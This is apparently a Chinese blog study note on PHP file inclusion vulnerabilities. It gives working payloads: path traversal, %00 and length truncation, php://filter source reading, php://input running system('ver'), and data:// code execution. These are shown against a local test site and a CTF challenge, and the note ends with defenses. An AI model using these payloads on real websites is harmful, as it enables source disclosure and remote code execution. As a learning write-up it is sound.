【文件包含】速览

【文件包含】学习

关于文件包含漏洞的简略学习

一、引例

首先使用php搭建一个网站,网站目录及包含文件如下:

image-20221107151839468

直接url中访问info.txt:

image-20221107151957039

只能看到info.txt的内容,是phpinfo()函数。

查看test.php内容:

image-20221107152131611

使用GET方法传进了filename,然后使用include方法进行文件包含操作。

在url中传入info.txt参数看看什么效果:

image-20221107152526155

可见info.txt中的代码被执行了。

因此可以初步判断include操作是将文件中的内容当做代码来执行。

二、本地包含和远程包含

  • 本地跨目录包含

    image-20221108103558047

    将Info.txt放在www根目录下,此时如果需要包含该文件则输入url为:

    http://127.0.0.1/include/test.php?filename=./info.txt
    

    ./为跨越的目录级数,././则跨越两级目录。效果如下:

    image-20221108103751145

    如果代码中存在文件名限制,比如强制只能包含html文件:

    include(filename.'.html');
    

    可以使用截断符%00

    ?filename=info.txt%00
    

    或者长度截断:

    ?filename=info.txt.................
    

    其中windows点号需要长于256,linux点号长于4096。

  • 远程包含

    如果网站支持远程包含:

    image-20221108104141171

    那么请求的url中可以换成对应远程网站中的txt文件。

三、文件包含+伪协议

  • 各种伪协议的用法:

    image-20221108110223317

    协议的使用条件及用例:

    image-20221108110248729

  • file协议:用于直接访问本地文件系统

    image-20221108110527119

  • php协议:常用php://filter(读取源码)和php://input(执行php代码)

    • php://filter:

      #用法,使用base64编码
      php://filter/read=convert.base64-encode/resource=[文件名]
      #实例
      http://127.0.0.1/include/test.php?filename=php://filter/read=convert.base64-encode/resource=test.php
      

      image-20221108111205716

      解码后即可看到test.php源码

    • php://input:

      #用法
      php://input + [POST DATA]
      #用例
      http://127.0.0.1/include/test.php?filename=php://input
      {POSTDATA部分}
      <?php system("ver");?>
      

      可以直接执行php代码

  • data协议

    http://127.0.0.1/include/test.php?filename=data://text/plain,<?php%20phpinfo();?>
    
    或者
    http://127.0.0.1/include/test.php?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
    
  • 参考链接:https://www.cnblogs.com/endust/p/11804767.html

四、演示案例

  • 南邮CTF签到题

    网站地址:http://4.chinalover.sinaapp.com/web7/index.php

    image-20221108114508910

    因为题目啥条件也没有,观察url之后感觉可能是一个文件包含题目。

    直接在url中输入show.php也可以访问:

    image-20221108114731086

    使用filter协议拿源码看看:

    image-20221108114958508

    可以拿到,然后进行解码:

    image-20221108115056664

    flag直接出现了。。

五、防护

  • 固定文件后缀
  • 固定文件
  • 使用WAF
  • 直接关闭allow_url_include功能
posted @ 2022-11-08 16:30  CAP_T  阅读(32)  评论(0编辑  收藏  举报